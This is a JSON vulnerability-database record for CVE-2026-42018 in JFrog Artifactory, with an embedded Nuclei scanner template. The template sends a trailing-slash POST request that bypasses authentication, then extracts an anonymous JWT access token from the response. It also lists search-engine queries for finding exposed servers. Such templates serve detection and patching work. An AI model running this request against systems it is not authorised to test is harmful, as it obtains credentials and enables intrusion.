{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2026-42018/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2026-42018/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2026-42018/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2026-42018/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2026-42018/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2026-42018"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2026-42018"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2026/CVE-2026-42018.yaml",
    "nuclei_template_severity": "high",
    "nuclei_template_yaml": "id: CVE-2026-42018\n\ninfo:\n  name: JFrog Artifactory - Anonymous Token Disclosure via Trailing Slash Auth Bypass\n  author: theamanrawat\n  severity: high\n  description: |\n    JFrog Artifactory contains an information disclosure caused by returning an internal anonymous-user token to unauthenticated callers when anonymous access is disabled, letting unauthenticated attackers access sensitive resources. The exploit requires anonymous access to be disabled.\n  impact: |\n    Unauthenticated attackers can access sensitive resources by obtaining internal tokens, potentially leading to information disclosure.\n  remediation: |\n    Update to the latest version where this issue is fixed.\n  reference:\n    - https://docs.jfrog.com/releases/docs/jfrog-security-advisories\n    - https://www.wiz.io/blog/artifactory-under-attack-in-the-wild-exploitation-of-cve-2026-42016-cve-2026-4201\n    - https://github.com/BL0odz/JFrog_CVE-2026-65615-ByGLM\n    - https://edrabb.fr/posts/full-chain-preauth-rce-jfrog-artifactory/\n    - https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-42018\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2026-42018\n    epss-score: 0.11038\n    epss-percentile: 0.95711\n    cwe-id: CWE-287\n  metadata:\n    verified: true\n    max-request: 2\n    shodan-query: http.title:\"jfrog\"\n    fofa-query: title=\"jfrog\"\n  tags: cve,cve2026,jfrog,artifactory,auth-bypass,disclosure,kev,vkev\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        POST /access/api/v1/aws/token HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 401'\n        internal: true\n\n  - raw:\n      - |\n        POST /access/api/v1/aws/token/ HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(body, \"access_token\") && contains(body, \"anonymous\")'\n          - 'status_code == 200'\n        condition: and\n\n    extractors:\n      - type: regex\n        name: anonymous-jwt-token\n        part: body\n        regex:\n          - 'eyJ[A-Za-z0-9_-]+\\.[A-Za-z0-9_-]+\\.[A-Za-z0-9_-]+'\n# digest: 4b0a00483046022100becd02fb558229a30de8bcf98aea551e0f2c9ab6d1fe5613927e8c7076b5770f0221009dfd993dabfce5ac74e7300a524a640a757c3072a8a611bcd931ffea7bfdf014:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2026-42018"
}